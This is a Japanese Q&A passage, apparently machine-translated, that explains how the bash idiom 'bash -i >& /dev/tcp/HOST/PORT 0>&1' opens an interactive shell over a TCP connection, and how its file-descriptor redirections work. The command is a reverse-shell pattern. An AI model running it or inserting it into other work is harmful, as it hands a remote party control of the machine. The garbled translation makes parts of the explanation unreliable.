回答:
このスニペットbash -i
は、bashプロセス中に作成される、指定されたホストの指定されたポートへのTCP接続で、bash()の新しいインタラクティブインスタンスを実行します。標準出力と標準エラーはこの接続(>& /dev/tcp/HOST/PORT
)を介して送信され、標準入力はこの接続を介して読み取られます(0>&1
—これも動作するはずです0<&1
が0>&1
)。
進行中のポート転送はありません。明らかに、ある種のTCPサーバーはそのHOST:PORTで接続をリッスンして受け入れる必要があり、ファイアウォールは接続を通過させる必要があります。
/dev/tcp/HOST/PORT
か?名前HOST
と番号をに置き換えたと思いますPORT
。そうしないと、bashからエラーメッセージが表示されます。エラーメッセージについては触れなかったので、表示されなかったと思います。
0<&1
部分を消化できない。私はそれを「bash stdout(&1
)を取り、bash stdin(0
)にパイプする」と読みましたが、これは理にかなっています。この部分がどのように機能するか説明できますか?
0<&1
は、ファイル記述子1で現在開いているものをファイル記述子0に接続することを意味します。以前のリダイレクトは>& /dev/tcp/HOST/PORT
fd 1(出力リダイレクトのデフォルト)を/dev/tcp/HOST/PORT
に接続した、つまりTCPソケットを開いたので、これはファイル記述子0(つまり、同じソケットがfd 0でも開いているようになりました。これは、同じサーバーに対して別のソケットを開く0とは異なります</ dev / tcp / HOST / PORT)。